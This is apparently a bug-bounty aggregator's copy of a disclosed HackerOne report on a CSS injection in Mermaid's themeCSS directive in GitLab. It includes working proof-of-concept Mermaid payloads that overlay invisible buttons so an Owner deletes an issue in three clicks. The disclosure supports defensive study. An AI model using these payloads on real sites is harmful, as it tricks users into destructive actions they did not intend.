Skip to content
UI spoofing Disclosed report Intermediate

CSS injection via Mermaid themeCSS directive could cause users to take state-changing actions on markdown enabled pages

Mermaid's themeCSS directive failed to properly scope custom CSS due to incorrect parsing of backslash-escaped characters, allowing an attacker to inject CSS that affects the entire page. An attacker could trick a user into performing state-changing actions such as deleting an issue by overlaying invisible elements.

GitLab

Originally disclosed on GitLab

  • Fixed in 2 months
  • Disclosed after 2 months

HackerOne report #1259491 by arw9234 on 2021-07-13, assigned to @ngeorge1:

Report | Attachments | How To Reproduce

Report

Summary

Mermaid recently introduced a new syntax for embedding 'directives' into a diagram, which other reports have already explored. One of Mermaid's new directives is the themeCSS directive, which essentially allows the user to embed custom CSS rulesets into the document.

Mermaid makes some attempt to make sure the custom rules only apply to elements within the diagram. For example, if the following themeCSS directive is used:

%%{init: { 'themeCSS': '* { color: red }' } }%%  

Mermaid will output CSS similar to the following and embed it in a <style> tag:

CSS
###  mermaid-1626156292868 * {  
     color: red;  
}

where mermaid-1626156292868 is the randomly-generated id of the diagram's parent to prevent themeCSS directives from affecting the rest of the page.

However, Mermaid does not correctly handle backslash-escaped special characters in an unquoted CSS selector, which are valid and will be treated as being part of the selector. For example, when parsing the following themeCSS directive:

%%{init: { 'themeCSS': 'x\\{color\\:\\\",*{color: red;\"}' } }%%  

Mermaid will output CSS similar to the following:

CSS
###  mermaid-1626156292868 x\{color\:\",*{color: red;";}  

Mermaid mistakenly took the first open curly brace as the start of the CSS rule block and therefore only scoped the x\ selector, but in actuality x\{color\:\" will be treated as a selector because all the special characters are backslash-escaped, meaning the rule:

CSS
* {  
     color: red;  
     ";  
}

will apply to all elements on the page.

This can be used to restyle state-changing elements such as buttons and other form elements on the page to trick another user into performing sensitive actions.

Steps to reproduce

Here is an example where a malicious comment on an issue can be used to potentially cause a user with Owner privileges to delete the issue by restyling the edit, delete, and delete confirmation buttons.

  1. Create a new issue in a project
  2. As any user, create a comment on the issue containing the following code:
```mermaid  
%%{init: { 'themeCSS': 'x\\{color\\:\\\",.btn-edit{position: absolute;left: 0;top: 0;width: 100vw;height: 100vh;z-index: 9;opacity: 0;cursor: auto;\"}' } }%%  
```

```mermaid  
%%{init: { 'themeCSS': 'x\\{color\\:\\\",.qa-delete-button{position: absolute;left: 0;top: 0;width: 100vw;height: 100vh;z-index: 99;opacity: 0;cursor: auto;\"}' } }%%  
```

```mermaid  
%%{init: { 'themeCSS': 'x\\{color\\:\\\",.js-modal-action-primary{position: absolute;left: 0;top: 0;width: 200vw;height: 200vh;z-index: 999;cursor: auto;opacity: 0;transform: translateX(-50vw) translateY(-50vh);\"}' } }%%  
```

```mermaid  
%%{init: { 'themeCSS': 'x\\{color\\:\\\",[id^=\"delete-issuable-modal-2\"]{opacity: 0;\"}' } }%%  
```

```mermaid  
%%{init: { 'themeCSS': 'x\\{color\\:\\\",body{height: 100vh;overflow: hidden;\"}' } }%%  
```  
  1. As a user with the Owner role, open the issue and click 3 times within the page
  2. The issue should be deleted

The above POC can obviously be cleaned up to make the process more convincing but demonstrates what can be done with something like this.

Impact

An attacker can perform certain sensitive actions as other GitLab users if they can convince a victim user to interact with a page containing malicious markdown. For issues specifically, users could be tricked into deleting, locking, moving, or closing an issue, changing an issue's milestone, due date, health status, label, or notification settings, or marking an issue as confidential, since those are all actions that can be carried out with 1-3 clicks each.

I'm working on another POC in which malicious markdown in a merge request can force a user to approve and merge the request.

Obviously this isn't as severe as full XSS since an attacker can't read any data and can only perform state-changing actions available from a page where they can input markdown.

Examples

I exported a project containing an example issue that contains the above code in a comment and attached it below:
2021-07-13_06-55-807_arw9234_issue-with-malicious-c_export.tar.gz

What is the current bug behavior?

Mermaid incorrectly parses escaped characters in a CSS selector and misses selectors which should be scoped to the diagram's containing element.

What is the expected correct behavior?

Mermaid should treat escaped special characters as being part of the CSS selector.

Alternatively, GitLab could wrap user-generated markdown in issue descriptions/comments and other places in a sandboxed iframe so that CSS generated by Mermaid can't alter the rest of the page, which would probably prevent markdown-related XSS altogether.

Output of checks

This bug happens on GitLab.com

Results of GitLab environment info

I tested this entirely against gitlab.com, which would be GitLab Enterprise Edition 14.1.0-pre, instead of using my own GitLab instance.

Best regards,
[@]arw9234

Impact

GitLab users can be tricked into performing certain sensitive state-changing actions in a clickjacking-like attack.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Mermaid's CSS parser did not correctly handle backslash-escaped special characters in selectors, causing it to misidentify the scope of the CSS rule.

Impact

An attacker could trick a user into performing state-changing actions such as deleting, locking, moving, or closing an issue, or changing its metadata, but cannot read data.

What the attacker needed

Victim clicks on a page with malicious markdown; attacker can post markdown (e.g., comment)

The fix

Mermaid should treat escaped special characters as part of the CSS selector, or GitLab could wrap user-generated markdown in a sandboxed iframe.

How it was found

  1. Create a new issue in a project
  2. As any user, create a comment on the issue containing malicious Mermaid code with themeCSS directives
  3. As a user with the Owner role, open the issue and click 3 times within the page
  4. The issue should be deleted

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Mermaid is a tool that turns text into diagrams. It lets you add custom styling with CSS, but a bug meant that styling could leak out and change the whole web page. An attacker could use this to make a button invisible and place it over the page, so when you click, you accidentally do something like delete an issue.

What is UI spoofing?

The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Clickjacking and UI spoofing

The lesson behind this report.

The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.